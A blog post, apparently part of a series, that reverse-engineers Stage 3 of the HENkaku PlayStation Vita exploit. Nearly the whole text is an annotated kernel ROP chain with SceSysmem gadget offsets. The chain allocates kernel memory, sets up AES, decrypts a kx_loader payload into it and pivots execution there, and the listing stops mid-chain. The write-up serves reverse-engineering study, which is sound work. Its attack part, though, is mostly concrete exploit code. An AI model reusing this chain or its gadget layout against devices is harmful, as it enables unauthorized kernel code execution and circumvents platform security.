Wednesday, October 19, 2016

HENkaku - Exploit teardown - Stage 3

Here it is, Stage 3, the last stage of HENkaku.
This was by far the toughest to crack, so, let's dive in!

HENkaku - Stage 3


In Stage 2, we analyzed how HENkaku exploits two distinct kernel bugs to achieve code execution: a memory leak bug (in the sceIoDevctl function) to defeat KASLR and a use-after-free (in the sceNetIoctl function) to break into the kernel and do ROP.
However, since the execution flow switches over to a ROP chain planted into the kernel, we still couldn't figure out what was happening next.

Like I mentioned in the previous write-up's ending note, dumping the kernel (more specifically, the SceSysmem module) was now necessary. Team molecule did not provide any additional vulnerability that we could use for this purpose, so, it was up to the participants to figure it out themselves.

I had already found a potential memory leak vulnerability while playing around with Stage 2 but, unfortunately, due to it's nature (out-of-bounds read) it wasn't enough to reach the SceSysmem module.
Frustrated, I began looking for other plausible entry-points. It took me several attempts and required analyzing several key components of the Vita's system:
- Network:
    The SceNet module was the origin of the use-after-free and I had already an OOB read there, so, what else could be in there?
- Filesystem:
    The SceDriverUser module exposes a decent amount of unique system calls for the filesystem. Some of them crash. Can I leak memory here?
- Audio:
    Developers don't pay much attention to security when it comes to implement media handling. Some specific audio handling features are taken care by the kernel itself. Can I compromise it?
- Graphics:
    Just like with audio, graphics are a common source of flaws. The Vita has plenty of libraries with unique system calls for this (SceGpuEs4User, SceGxm, ScePaf). Will this help?
- Application:
    User applications are managed by modules that heavily communicate with the kernel (SceAppUtil and SceDriverUser via SceAppMgr calls). Perhaps this can be taken down?
   
Eventually, one of those gave me what I wanted and I was able to dump the entire Vita's kernel memory. After locating the SceSysmem module among the dumped binaries I became able to solve the rest of the challenge.
On a side note, I did attempt blind ROP at first by relocating a few gadgets and taking wild guesses, but team molecule made sure it wouldn't be that easy. The gadgets' placement makes it very difficult to predict what each one will do.

Anyway, here is the result:
// Kernel ROP chain
/*
scesysmem_base + 0x00000347
POP {PC}
*/
0x00(x_stack + 0x00008A8C) = scesysmem_base + 0x00000031 // PC
/*
scesysmem_base + 0x00000031
POP {R0,PC}
*/
0x00(x_stack + 0x00008A90) = 0x08106803 // R0
0x00(x_stack + 0x00008A94) = scesysmem_base + 0x0001EFF1 // PC
/*
scesysmem_base + 0x0001EFF1
LSLS R0, R0, #1 -> R0 is 0x1020D006
POP {R3,PC}
*/
0x00(x_stack + 0x00008A98) = 0x00000038 // R3
0x00(x_stack + 0x00008A9C) = scesysmem_base + 0x0001EFE1 // PC
/*
scesysmem_base + 0x0001EFE1
MOV R1, R0 -> R1 is 0x1020D006
POP {R3,PC}
*/
0x00(x_stack + 0x00008AA0) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008AA4) = scesysmem_base + 0x000039EB // PC
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00000347
POP {R3,PC}
*/
0x00(x_stack + 0x00008AA8) = scesysmem_base + 0x0001B571 // PC
/*
scesysmem_base + 0x0001B571
LSLS R2, R0, #5 -> R2 is 0x041A00C0
BX LR
*/
0x00(x_stack + 0x00008AAC) = 0x00000000 // R3
0x00(x_stack + 0x00008AB0) = scesysmem_base + 0x00001E43 // PC
/*
scesysmem_base + 0x00001E43
AND.W R2, R2, #0xF0000 -> R2 is 0x041A00C0 & 0xF0000 = 0xA0000
CMP.W R2, #0x40000
BEQ loc_AB1E50
MOVS R0, #0
POP {R3-R5,PC}
*/
0x00(x_stack + 0x00008AB4) = 0x00000000 // R3
0x00(x_stack + 0x00008AB8) = scesysmem_base + 0x0001FC6D // R4
0x00(x_stack + 0x00008ABC) = scesysmem_base + 0x0000EA73 // R5
0x00(x_stack + 0x00008AC0) = scesysmem_base + 0x00000031 // PC
/*
scesysmem_base + 0x00000031
POP {R0,PC}
*/
0x00(x_stack + 0x00008AC4) = scesysmem_base + 0x00027913 // R0
0x00(x_stack + 0x00008AC8) = scesysmem_base + 0x0000A523 // PC
/*
// Allocate kernel memblock (scesysmem_base + 0x00027913 == "Magic")
// kern_memblock_alloc("Magic", 0x1020D006, 0xA0000, 0x00000000, 0x00000000);
scesysmem_base + 0x0000A523
MOVS R4, #0
SUB SP, SP, #8
STR R4, [SP,#0x10+var_10]
BL sub_A6A384 // kern_memblock_alloc
ADD SP, SP, #8
POP {R4,PC}
*/
0x00(x_stack + 0x00008ACC) = scesysmem_base + 0x00000347 // R4
0x00(x_stack + 0x00008AD0) = scesysmem_base + 0x00000CE3 // PC
/*
scesysmem_base + 0x00000CE3
POP {R4-R7,PC}
*/
0x00(x_stack + 0x00008AD4) = scesysmem_base + 0x00000347 // R4
0x00(x_stack + 0x00008AD8) = scesysmem_base + 0x0001F2B1 // R5
0x00(x_stack + 0x00008ADC) = scesysmem_base + 0x00000067 // R6
0x00(x_stack + 0x00008AE0) = scesysmem_base + 0x0000587F // R7
0x00(x_stack + 0x00008AE4) = scesysmem_base + 0x00019713 // PC
/*
scesysmem_base + 0x00019713
ADD R3, SP, #0x28 -> Will modify stack!
BLX R7
*/
/*
scesysmem_base + 0x0000587F
MOVS R2, R0 -> R2 is memblock_id
POP {R4,PC}
*/
0x00(x_stack + 0x00008AE8) = scesysmem_base + 0x00001605 // R4
0x00(x_stack + 0x00008AEC) = scesysmem_base + 0x00001E1D // PC
/*
scesysmem_base + 0x00001E1D
MOV R0, R3 -> R3 is out_buf
POP {R4,PC}
*/
0x00(x_stack + 0x00008AF0) = 0x00000000 // R4
0x00(x_stack + 0x00008AF4) = scesysmem_base + 0x0001EFE1 // PC
/*
scesysmem_base + 0x0001EFE1
MOV R1, R0 -> R1 is out_buf
POP {R3,PC}
*/
0x00(x_stack + 0x00008AF8) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008AFC) = scesysmem_base + 0x00001603 // PC
/*
scesysmem_base + 0x00001603
MOV R0, R2 -> R0 is memblock_id
POP {R3,PC}
*/
0x00(x_stack + 0x00008B00) = scesysmem_base + 0x0001F2B1 // R3
0x00(x_stack + 0x00008B04) = scesysmem_base + 0x00001F17 // PC
/*
// Call kern_memblock_getaddr(memblock_id, out_buf);
// out_buf contains the memblock's base address
scesysmem_base + 0x00001F17
BL sub_A61EC8 // kern_memblock_getaddr
POP {R3,PC}
*/
0x00(x_stack + 0x00008B08) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008B0C) = scesysmem_base + 0x00000031 // PC
/*
scesysmem_base + 0x00000031
POP {R0,PC}
*/
0x00(x_stack + 0x00008B10) = scesysmem_base + 0x0000B913 // R0 -> memblock_addr
0x00(x_stack + 0x00008B14) = scesysmem_base + 0x00023B61 // PC
/*
scesysmem_base + 0x00023B61
MOV R7, R0 -> R7 is memblock_addr
MOVT R0, 0x8002
POP {R3,PC}
*/
0x00(x_stack + 0x00008B18) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008B1C) = scesysmem_base + 0x000039EB // PC
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00000347
POP {R3,PC}
*/
0x00(x_stack + 0x00008B20) = scesysmem_base + 0x000232EB // PC
/*
scesysmem_base + 0x000232EB
MOVS R0, #8
BX LR
*/
0x00(x_stack + 0x00008B24) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008B28) = scesysmem_base + 0x0001B571 // PC
/*
scesysmem_base + 0x0001B571
LSLS R2, R0, #5 -> R2 is (0x08 << 0x05) = 0x100
BX LR
*/
0x00(x_stack + 0x00008B2C) = scesysmem_base + 0x00023B61 // R3
0x00(x_stack + 0x00008B30) = scesysmem_base + 0x000232F1 // PC
/*
scesysmem_base + 0x000232F1
MOVS R0, #0x80
BX LR
*/
0x00(x_stack + 0x00008B34) = scesysmem_base + 0x00001411 // R3
0x00(x_stack + 0x00008B38) = scesysmem_base + 0x00000AE1 // PC
/*
scesysmem_base + 0x00000AE1
MOVS R1, R0 -> R1 is 0x80
BX LR
*/
0x00(x_stack + 0x00008B3C) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008B40) = scesysmem_base + 0x000050E9 // PC
/*
scesysmem_base + 0x000050E9
MOV R0, R7 -> R0 is memblock_addr
BLX R3 -> scesysmem_base + 0x00000347
*/
0x00(x_stack + 0x00008B44) = scesysmem_base + 0x00001411 // PC
/*
scesysmem_base + 0x00001411
POP {R4,R5,PC}
*/
0x00(x_stack + 0x00008B48) = 0x00000090 // R4
0x00(x_stack + 0x00008B4C) = scesysmem_base + 0x0001F2B1 // R5
0x00(x_stack + 0x00008B50) = scesysmem_base + 0x00012B11 // PC
/*
scesysmem_base + 0x00012B11
ADDS.W R0, R0, R4,LSL#2 -> R0 is memblock_addr + 0x240
BEQ loc_A72ADE
ADD SP, SP, #8
POP {R4,PC}
*/
0x00(x_stack + 0x00008B54) = scesysmem_base + 0x00000CE3 // SP
0x00(x_stack + 0x00008B58) = scesysmem_base + 0x000000D1 // SP + 0x04
0x00(x_stack + 0x00008B5C) = scesysmem_base + 0x00000347 // R4
0x00(x_stack + 0x00008B60) = scesysmem_base + 0x0001F2B1 // PC
/*
scesysmem_base + 0x0001F2B1
EOR.W R9, R0, 0x40 -> R9 is (memblock_addr + 0x240 ^ 0x40) = memblock_addr + 0x200
POP {R3,PC}
*/
0x00(x_stack + 0x00008B64) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008B68) = scesysmem_base + 0x000039EB // PC
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00000347
POP {R3,PC}
*/
0x00(x_stack + 0x00008B6C) = scesysmem_base + 0x0001FDC5 // PC
/*
scesysmem_base + 0x0001FDC5
MOV R3, LR -> R3 is scesysmem_base + 0x000039EB + 0x02
BLX R4 -> scesysmem_base + 0x00000347
*/
0x00(x_stack + 0x00008B70) = scesysmem_base + 0x0001D8DB // PC
/*
// AES_setkey(keybuf, type, size, key, 0);
// Call sub_A7D544(memblock_addr + 0x240, 0x80, 0x100, scesysmem_base + 0x39EB + 0x02, 0x00000000);
scesysmem_base + 0x0001D8DB
MOVS R4, #0
SUB SP, SP, #8
STR R4, [SP]
BL sub_A7D544
ADD SP, SP, #8
POP {R4,PC}
*/
0x00(x_stack + 0x00008B74) = scesysmem_base + 0x00019399 // R4
0x00(x_stack + 0x00008B78) = scesysmem_base + 0x00019399 // PC
/*
scesysmem_base + 0x00019399
MOV R0, R9 -> R0 is memblock_addr + 0x200
MOV R1, R4 -> R1 is scesysmem_base + 0x00019399
LDR R2, [SP,#0x38+var_30] -> R2 is scesysmem_base + 0x00000347
MOVS R3, #0 -> R3 is 0x00000000
BLX R5 -> R5 is scesysmem_base + 0x0001F2B1
*/
/*
scesysmem_base + 0x0001F2B1
EOR.W R9, R0, 0x40 -> R9 is (memblock_addr + 0x200 ^ 0x40) = memblock_addr + 0x240
POP {R3,PC}
*/
0x00(x_stack + 0x00008B7C) = scesysmem_base + 0x00011C5F // R3
0x00(x_stack + 0x00008B80) = scesysmem_base + 0x00019399 // PC
/*
scesysmem_base + 0x00019399
MOV R0, R9 -> R0 is memblock_addr + 0x240
MOV R1, R4 -> R1 is scesysmem_base + 0x00019399
LDR R2, [SP,#0x38+var_30] -> R2 is 0x00000000
MOVS R3, #0 -> R3 is 0x00000000
BLX R5 -> R5 is scesysmem_base + 0x0001F2B1
*/
/*
scesysmem_base + 0x0001F2B1
EOR.W R9, R0, 0x40 -> R9 is (memblock_addr + 0x240 ^ 0x40) = memblock_addr + 0x200
POP {R3,PC}
*/
0x00(x_stack + 0x00008B84) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008B88) = scesysmem_base + 0x0000B913 // PC
/*
scesysmem_base + 0x0000B913
MOVS R6, R0 -> R6 is memblock_addr + 0x240
ADD R0, R4 -> R0 is memblock_addr + 0x240 + scesysmem_base + 0x00019399
ADD R1, R2 -> R1 is scesysmem_base + 0x00019399 + 0x00000000
CMP R0, R1
ITE HI
MOVHI R0, #0 -> R0 is always bigger than R1 (likely a workaround gadget)
MOVLS R0, #1
ADD SP, SP, #8
POP {R4,PC}
*/
0x00(x_stack + 0x00008B8C) = 0x00000000 // SP
0x00(x_stack + 0x00008B90) = scesysmem_base + 0x0001EFE1 // SP + 0x04
0x00(x_stack + 0x00008B94) = scesysmem_base + 0x00000347 // R4
0x00(x_stack + 0x00008B98) = scesysmem_base + 0x00001861 // PC
/*
scesysmem_base + 0x00001861
MOVS R0, #0 -> R0 is 0
POP {R3,PC}
*/
0x00(x_stack + 0x00008B9C) = scesysmem_base + 0x0001FC6D // R3
0x00(x_stack + 0x00008BA0) = scesysmem_base + 0x0001F2B1 // PC
/*
scesysmem_base + 0x0001F2B1
EOR.W R9, R0, 0x40 -> R9 is (0x00 ^ 0x40) = 0x40
POP {R3,PC}
*/
0x00(x_stack + 0x00008BA4) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008BA8) = scesysmem_base + 0x000039EB // PC
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00000347
POP {R3,PC}
*/
0x00(x_stack + 0x00008BAC) = scesysmem_base + 0x00019399 // PC
/*
scesysmem_base + 0x00019399
MOV R0, R9 -> R0 is 0x40
MOV R1, R4 -> R1 is scesysmem_base + 0x00000347
LDR R2, [SP,#0x38+var_30] -> R2 is scesysmem_base + 0x00000347
MOVS R3, #0 -> R3 is 0x00000000
BLX R5 -> R5 is scesysmem_base + 0x0001F2B1
*/
/*
scesysmem_base + 0x0001F2B1
EOR.W R9, R0, 0x40 -> R9 is (0x40 ^ 0x40) = 0x00
POP {R3,PC}
*/
0x00(x_stack + 0x00008BB0) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008BB4) = scesysmem_base + 0x00019399 // PC
/*
scesysmem_base + 0x00019399
MOV R0, R9 -> R0 is 0x00
MOV R1, R4 -> R1 is scesysmem_base + 0x00000347
LDR R2, [SP,#0x38+var_30] -> R2 is scesysmem_base + 0x0001614D
MOVS R3, #0 -> R3 is 0x00000000
BLX R5 -> R5 is scesysmem_base + 0x0001F2B1
*/
/*
scesysmem_base + 0x0001F2B1
EOR.W R9, R0, 0x40 -> R9 is (0x00 ^ 0x40) = 0x40
POP {R3,PC}
*/
0x00(x_stack + 0x00008BB8) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008BBC) = scesysmem_base + 0x000039EB // PC
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00000347
POP {R3,PC}
*/
0x00(x_stack + 0x00008BC0) = scesysmem_base + 0x0001614D // PC
/*
scesysmem_base + 0x0001614D
ADDEQ R0, #0x10 -> R0 is 0x40 + 0x10 = 0x50
BX LR
*/
0x00(x_stack + 0x00008BC4) = scesysmem_base + 0x000233D3 // R3
0x00(x_stack + 0x00008BC8) = scesysmem_base + 0x0001F2B1 // PC
/*
scesysmem_base + 0x0001F2B1
EOR.W R9, R0, 0x40 -> R9 is (0x50 ^ 0x40) = 0x10
POP {R3,PC}
*/
0x00(x_stack + 0x00008BCC) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008BD0) = scesysmem_base + 0x000000AF // PC
/*
scesysmem_base + 0x000000AF
NEGLS R0, R0 -> R0 is ~(0x10) = 0xFFFFFFF0
BX LR
*/
0x00(x_stack + 0x00008BD4) = scesysmem_base + 0x00001605 // R3
0x00(x_stack + 0x00008BD8) = scesysmem_base + 0x0001EFE1 // PC
/*
scesysmem_base + 0x0001EFE1
MOV R1, R0 -> R1 is 0xFFFFFFF0
POP {R3,PC}
*/
0x00(x_stack + 0x00008BDC) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008BE0) = scesysmem_base + 0x000050E9 // PC
/*
scesysmem_base + 0x000050E9
MOV R0, R7 -> R0 is memblock_addr
BLX R3 -> scesysmem_base + 0x00000347
*/
0x00(x_stack + 0x00008BE4) = scesysmem_base + 0x000039EB // PC
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00000347
POP {R3,PC}
*/
0x00(x_stack + 0x00008BE8) = scesysmem_base + 0x00001347 // PC
/*
scesysmem_base + 0x00001347
MOV R2, R0 -> R2 is memblock_addr
BX LR
*/
0x00(x_stack + 0x00008BEC) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008BF0) = scesysmem_base + 0x000000B9 // PC
/*
scesysmem_base + 0x000000B9
SUBS R0, R2, R1 -> R0 is memblock_addr - 0xFFFFFFF0
BX LR
*/
0x00(x_stack + 0x00008BF4) = scesysmem_base + 0x0001F2B1 // R3
0x00(x_stack + 0x00008BF8) = scesysmem_base + 0x00001347 // PC
/*
scesysmem_base + 0x00001347
MOV R2, R0 -> R2 is memblock_addr - 0xFFFFFFF0
BX LR
*/
0x00(x_stack + 0x00008BFC) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008C00) = scesysmem_base + 0x0000039B // PC
/*
scesysmem_base + 0x0000039B
POP {R4,PC}
*/
0x00(x_stack + 0x00008C04) = kx_loader_addr // R4
0x00(x_stack + 0x00008C08) = scesysmem_base + 0x0001CB95 // PC
/*
scesysmem_base + 0x0001CB95
SUBS R1, R4, R1 -> R1 is kx_loader_addr - 0xFFFFFFF0
BLX R3
*/
0x00(x_stack + 0x00008C0C) = scesysmem_base + 0x0001EA93 // PC
/*
scesysmem_base + 0x0001EA93
MOV R0, R6 -> R0 is memblock_addr + 0x240
BLX R3
*/
0x00(x_stack + 0x00008C10) = scesysmem_base + 0x00001411 // PC
/*
scesysmem_base + 0x00001411
POP {R4,R5,PC}
*/
0x00(x_stack + 0x00008C14) = scesysmem_base + 0x00000347 // R4
0x00(x_stack + 0x00008C18) = scesysmem_base + 0x000209D7 // R5
0x00(x_stack + 0x00008C1C) = scesysmem_base + 0x000209D3 // PC
/*
scesysmem_base + 0x000209D3
STR R5, [SP,#0x0C]
LDR R5, [SP,#0x38]
STR R5, [SP,#0x10]
BLX R4 -> scesysmem_base + 0x00000347
*/
0x00(x_stack + 0x00008C20) = scesysmem_base + 0x00001411 // PC -> SP
/*
scesysmem_base + 0x00001411
POP {R4,R5,PC}
*/
0x00(x_stack + 0x00008C24) = scesysmem_base + 0x00000347 // R4 -> SP + 0x04
0x00(x_stack + 0x00008C28) = scesysmem_base + 0x0001BAF5 // R5 -> SP + 0x08
0x00(x_stack + 0x00008C2C) = scesysmem_base + 0x00001605 // PC -> SP + 0x0C -> scesysmem_base + 0x000209D7
/*
scesysmem_base + 0x000209D7
STR R5, [SP,#0x10]
BLX R4 -> scesysmem_base + 0x00000347
ADD SP, SP, #0x1C
POP {R4,R5,PC}
*/
0x00(x_stack + 0x00008C30) = scesysmem_base + 0x00000347 // PC -> SP + 0x10 -> scesysmem_base + 0x0000652B
/*
scesysmem_base + 0x0000652B
ADD SP, SP, #0xC
POP {PC}
*/
0x00(x_stack + 0x00008C34) = scesysmem_base + 0x0000652B // SP
0x00(x_stack + 0x00008C38) = scesysmem_base + 0x00000347 // SP + 0x04
0x00(x_stack + 0x00008C3C) = scesysmem_base + 0x0001BAF5 // SP + 0x08
0x00(x_stack + 0x00008C40) = scesysmem_base + 0x00022A49 // PC -> SP + 0x10 -> scesysmem_base + 0x0001BAF5
/*
scesysmem_base + 0x0001BAF5
// AES_decrypt
// Call sub_A7BAF4(memblock_addr + 0x240, kx_loader_addr - 0xFFFFFFF0, memblock_addr - 0xFFFFFFF0);
// Decrypt kx_loader_addr + 0x10 into memblock_addr + 0x10
*/
0x00(x_stack + 0x00008C44) = 0xFFFFFEB0 // SP
0x00(x_stack + 0x00008C48) = scesysmem_base + 0x0000039B // SP + 0x04
0x00(x_stack + 0x00008C4C) = 0x00000040 // SP + 0x08
0x00(x_stack + 0x00008C50) = scesysmem_base + 0x00022A49 // SP + 0x0C
0x00(x_stack + 0x00008C54) = scesysmem_base + 0x00000347 // SP + 0x10
0x00(x_stack + 0x00008C58) = scesysmem_base + 0x0000652B // SP + 0x14 -> SP + 0x38
0x00(x_stack + 0x00008C5C) = scesysmem_base + 0x00000347 // SP + 0x18
0x00(x_stack + 0x00008C60) = scesysmem_base + 0x0000039B // R4 -> SP + 0x1C
0x00(x_stack + 0x00008C64) = 0x00000040 // R5
0x00(x_stack + 0x00008C68) = scesysmem_base + 0x00001605 // PC
/*
scesysmem_base + 0x00001605
POP {R3,PC}
*/
0x00(x_stack + 0x00008C6C) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008C70) = scesysmem_base + 0x0001D9EB // PC
/*
scesysmem_base + 0x0001D9EB
ADD R2, SP, #0xBC -> R2 is SP + 0xBC
BLX R3 -> scesysmem_base + 0x00000347
*/
0x00(x_stack + 0x00008C74) = scesysmem_base + 0x000039EB // PC
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00000347
POP {R3,PC}
*/
0x00(x_stack + 0x00008C78) = scesysmem_base + 0x00000853 // PC
/*
scesysmem_base + 0x00000853
POP {R0,R1,PC}
*/
0x00(x_stack + 0x00008C7C) = scesysmem_base + 0x0001D8DB // R0
0x00(x_stack + 0x00008C80) = 0x00000038 // R1
0x00(x_stack + 0x00008C84) = scesysmem_base + 0x000000AB // PC
/*
scesysmem_base + 0x000000AB
SUBS R2, R2, R1 -> R2 is SP + 0xBC - 0x38 = SP + 0x84
IT LS
NEGLS R0, R0
BX LR
*/
0x00(x_stack + 0x00008C88) = scesysmem_base + 0x000000D1 // R3
0x00(x_stack + 0x00008C8C) = scesysmem_base + 0x0002328B // PC
/*
scesysmem_base + 0x0002328B
MOV R1, R2 -> R1 is SP + 0x84
POP {R4,PC}
*/
0x00(x_stack + 0x00008C90) = scesysmem_base + 0x00022FCD // R4
0x00(x_stack + 0x00008C94) = scesysmem_base + 0x000000D1 // PC
/*
scesysmem_base + 0x000000D1
MOV R4, R1 -> R4 is SP + 0x84
BX LR
*/
0x00(x_stack + 0x00008C98) = scesysmem_base + 0x0001EFF1 // R3
0x00(x_stack + 0x00008C9C) = scesysmem_base + 0x0002A117 // PC
/*
scesysmem_base + 0x0002A117
POP {R2,R5,PC}
*/
0x00(x_stack + 0x00008CA0) = scesysmem_base + 0x00000347 // R2
0x00(x_stack + 0x00008CA4) = scesysmem_base + 0x00001605 // R5
0x00(x_stack + 0x00008CA8) = scesysmem_base + 0x00019399 // PC
/*
scesysmem_base + 0x00019399
MOV R0, R9 -> R0 is 0x10
MOV R1, R4 -> R1 is SP + 0x84
LDR R2, [SP,#0x38+var_30] -> R2 is scesysmem_base + 0x0001BF1F
MOVS R3, #0 -> R3 is 0x00000000
BLX R5 -> R5 is scesysmem_base + 0x00001605
*/
/*
scesysmem_base + 0x00001605
POP {R3,PC}
*/
0x00(x_stack + 0x00008CAC) = scesysmem_base + 0x00000347 // R3 -> SP
0x00(x_stack + 0x00008CB0) = scesysmem_base + 0x000039EB // PC -> SP + 0x04
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00000347
POP {R3,PC}
*/
0x00(x_stack + 0x00008CB4) = scesysmem_base + 0x0001BF1F // PC -> SP + 0x08
/*
scesysmem_base + 0x0001BF1F
MOV R2, R4 -> R2 is SP + 0x84
BX LR
*/
0x00(x_stack + 0x00008CB8) = 0xFFFFFEB0 // R3
0x00(x_stack + 0x00008CBC) = scesysmem_base + 0x0000039B // PC
/*
scesysmem_base + 0x0000039B
POP {R4,PC}
*/
0x00(x_stack + 0x00008CC0) = 0x00000240 // R4
0x00(x_stack + 0x00008CC4) = scesysmem_base + 0x00022A49 // PC
/*
scesysmem_base + 0x00022A49
SUBS R0, R0, R4 -> R0 is 0x10 - 0x240
POP {R4,PC}
*/
0x00(x_stack + 0x00008CC8) = scesysmem_base + 0x000039EB // R4
0x00(x_stack + 0x00008CCC) = scesysmem_base + 0x00003D73 // PC
/*
scesysmem_base + 0x00003D73
ITE NE
MOVNE R0, R3 -> R0 is 0xFFFFFEB0
MOVEQ R0, #0
BX LR
*/
0x00(x_stack + 0x00008CD0) = 0x00000000 // R3
0x00(x_stack + 0x00008CD4) = scesysmem_base + 0x000021FD // PC
/*
scesysmem_base + 0x000021FD
ADD R0, R2 -> R0 is 0xFFFFFEB0 + SP + 0x84 = SP - 0xCC
CMP R3, #0 -> R3 is 0x00000000
BNE loc_A621E2
POP {R4}
BX LR
*/
0x00(x_stack + 0x00008CD8) = scesysmem_base + 0x00000347 // R4
0x00(x_stack + 0x00008CDC) = scesysmem_base + 0x000050E9 // R3
0x00(x_stack + 0x00008CE0) = scesysmem_base + 0x00000AE1 // PC
/*
scesysmem_base + 0x00000AE1
MOVS R1, R0 -> R1 is SP - 0xCC
BX LR
*/
0x00(x_stack + 0x00008CE4) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008CE8) = scesysmem_base + 0x0002A117 // PC
/*
scesysmem_base + 0x0002A117
POP {R2,R5,PC}
*/
0x00(x_stack + 0x00008CEC) = scesysmem_base + 0x00000347 // R2
0x00(x_stack + 0x00008CF0) = scesysmem_base + 0x0001F2B1 // R5
0x00(x_stack + 0x00008CF4) = scesysmem_base + 0x00000067 // PC
/*
// Branch to kx_loader
scesysmem_base + 0x00000067
MOV SP, R1 -> SP is SP + 0x90
BLX R2 -> scesysmem_base + 0x00000347
*/
0x00(x_stack + 0x00008CF8) = scesysmem_base + 0x000039EB // R3
0x00(x_stack + 0x00008CFC) = scesysmem_base + 0x0001BF47 // PC
/*
scesysmem_base + 0x0001BF47
MOVNE R1, #0
BX LR
*/
0x00(x_stack + 0x00008D00) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008D04) = scesysmem_base + 0x000050E9 // PC
/*
scesysmem_base + 0x000050E9
MOV R0, R7 -> R0 is memblock_addr
BLX R3 -> scesysmem_base + 0x00000347
*/
0x00(x_stack + 0x00008D08) = scesysmem_base + 0x0000AF33 // PC
/*
scesysmem_base + 0x0000AF33
MOV R4, R1 -> R4 is 0
MOV R5, R0 -> R5 is memblock_addr
BL sub_A7FBA8
MOV R1, R5 -> R1 is memblock_addr
MOV R2, R4 -> R2 is 0
MOVS R3, #0 -> R3 is 0
BL sub_A6CF34
POP {R3-R5,PC}
*/
0x00(x_stack + 0x00008D0C) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008D10) = scesysmem_base + 0x0001D9EB // R4
0x00(x_stack + 0x00008D14) = second_payload // R5
0x00(x_stack + 0x00008D18) = scesysmem_base + 0x0001FC6D // PC
/*
scesysmem_base + 0x0001FC6D
BLX R3 -> scesysmem_base + 0x00000347
POP {R4,PC}
*/
0x00(x_stack + 0x00008D1C) = scesysmem_base + 0x0000EA73 // PC
/*
scesysmem_base + 0x0000EA73
MOV R3, R0 -> R3 is memblock_addr
BX LR
*/
0x00(x_stack + 0x00008D20) = scesysmem_base + 0x0000039B // R4
0x00(x_stack + 0x00008D24) = scesysmem_base + 0x00000853 // PC
/*
scesysmem_base + 0x00000853
POP {R0,R1,PC}
*/
0x00(x_stack + 0x00008D28) = 0xFFFFFFFF // R0
0x00(x_stack + 0x00008D2C) = 0x08106803 // R1
0x00(x_stack + 0x00008D30) = scesysmem_base + 0x000233D3 // PC
/*
scesysmem_base + 0x000233D3
LSLS R2, R1, #1 -> R2 is (0x08106803 << 0x01) = 0x1020D006
BX LR
*/
0x00(x_stack + 0x00008D34) = scesysmem_base + 0x00000347 // R4
0x00(x_stack + 0x00008D38) = scesysmem_base + 0x00000433 // PC
/*
scesysmem_base + 0x00000433
SUBS R1, R2, #1 -> R1 is (0x1020D006 - 0x01) = 0x1020D005
ANDS R0, R1 -> R0 is (0xFFFFFFFF & 0x1020D005) = 0x1020D005
BEQ loc_A60440
CLZ.W R0, R0 -> R0 is 3
SUB.W R4, R3, R0,LSR#3 -> R4 is (memblock_addr - 0x03) >> 0x03
loc_A60440
SUBS R0, R4, #1 -> R0 is ((memblock_addr - 0x03) >> 0x03) - 0x01
POP {R4,PC}
*/
0x00(x_stack + 0x00008D3C) = scesysmem_base + 0x000233D3 // R4
0x00(x_stack + 0x00008D40) = scesysmem_base + 0x000150A3 // PC
/*
scesysmem_base + 0x000150A3
MOV R0, R3 -> R0 is memblock_addr
POP {R3,PC}
*/
0x00(x_stack + 0x00008D44) = 0x00000000 // R3
0x00(x_stack + 0x00008D48) = scesysmem_base + 0x0000A74D // PC
/*
scesysmem_base + 0x0000A74D
sub_A6A74C(memblock_addr, 0x1020D005);
*/
0x00(x_stack + 0x00008D4C) = scesysmem_base + 0x00000000 // R4
0x00(x_stack + 0x00008D50) = scesysmem_base + 0x00000853 // PC
/*
scesysmem_base + 0x00000853
POP {R0,R1,PC}
*/
0x00(x_stack + 0x00008D54) = scesysmem_base + 0x0001BF1F // R0
0x00(x_stack + 0x00008D58) = 0x00000200 // R1
0x00(x_stack + 0x00008D5C) = scesysmem_base + 0x00001605 // PC
/*
scesysmem_base + 0x00001605
POP {R3,PC}
*/
0x00(x_stack + 0x00008D60) = scesysmem_base + 0x00000347 // R3
0x00(x_stack + 0x00008D64) = scesysmem_base + 0x000050E9 // PC
/*
scesysmem_base + 0x000050E9
MOV R0, R7 -> R0 is memblock_addr
BLX R3 -> scesysmem_base + 0x00000347
*/
0x00(x_stack + 0x00008D68) = scesysmem_base + 0x00001605 // PC
/*
scesysmem_base + 0x00001605
POP {R3,PC}
*/
0x00(x_stack + 0x00008D6C) = scesysmem_base + 0x00022FCD // R3
0x00(x_stack + 0x00008D70) = scesysmem_base + 0x000039EB // PC
/*
scesysmem_base + 0x000039EB
BLX R3 -> scesysmem_base + 0x00022FCD
POP {R3,PC}
*/
/*
scesysmem_base + 0x00022FCD
kern_flush_cache(memblock_addr, 0x00000200); // sub_A82FCC
*/
0x00(x_stack + 0x00008D74) = scesysmem_base + 0x00000853 // R3
0x00(x_stack + 0x00008D78) = scesysmem_base + 0x00011C5F // PC
/*
scesysmem_base + 0x00011C5F
